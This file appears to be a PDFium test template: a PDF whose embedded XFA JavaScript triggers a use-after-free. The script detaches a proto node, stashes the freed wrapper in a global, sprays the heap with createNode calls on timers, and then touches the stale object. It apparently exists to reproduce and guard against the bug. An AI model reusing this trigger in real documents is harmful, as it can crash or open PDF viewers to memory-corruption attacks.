blob: 6b8e37dd8736895ec699dacecd40ccf7c44ef822 [file] [edit]
{{header}}
{{include xfa_catalog_1_0.fragment}}
{{include xfa_object_2_0.fragment}}
{{include xfa_preamble_3_0.fragment}}
{{include xfa_config_4_0.fragment}}
{{object 5 0}} <<
{{streamlen}}
>>
stream
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
<subform layout="tb" name="my_doc">
<pageSet id="page" relation="orderedOccurrence">
<occur initial="1" max="1" min="1"/>
<pageArea id="Page1" name="Page1">
<occur max="1" min="1"/>
<contentArea h="100mm" w="200mm" x="0.25in" y="0.25in"/>
</pageArea>
</pageSet>
<subform name="S">
<proto>
<subform name="vchild"/>
</proto>
</subform>
<event activity="docReady" ref="$host">
<script contentType="application/x-javascript"><![CDATA[
try {
var ts = xfa.resolveNode("$template.my_doc.S");
var L = ts.nodes; // CXFA_AttachNodeList
// Obtain the victim via list.item() which goes through
// CFXJSE_Engine::NewNormalXFAObject.
var v = null;
for (var i = 0; i < L.length; ++i) {
var c = L.item(i);
if (c.className == "proto") { v = c; break; }
}
L.remove(v);
// Stash the unsafe wrapper on the AcroForm global so it survives
// across script turns (the v8 wrapper is rooted, the CJX_Object is not).
__stash__ = v;
__pump__ = "for (var j = 0; j < 30000; ++j) xfa.template.createNode('subform','p');";
__hit__ = "try { __stash__.className; } catch(e) {}";
for (var k = 0; k < 25; ++k) {
app.setTimeOut(__pump__, 100 + k * 120);
app.setTimeOut(__hit__, 150 + k * 120);
}
} catch (e) {
app.alert("setup error: " + e);
}
]]></script>
</event>
</subform>
</template>
endstream
endobj
{{include xfa_locale_6_0.fragment}}
{{include xfa_postamble_7_0.fragment}}
{{include xfa_pages_8_0.fragment}}
{{object 9 0}} <<
/Type /Page
/Parent 8 0 R
/MediaBox [0 0 612 792]
>>
endobj
{{xref}}
{{trailer}}
{{startxref}}
%%EOF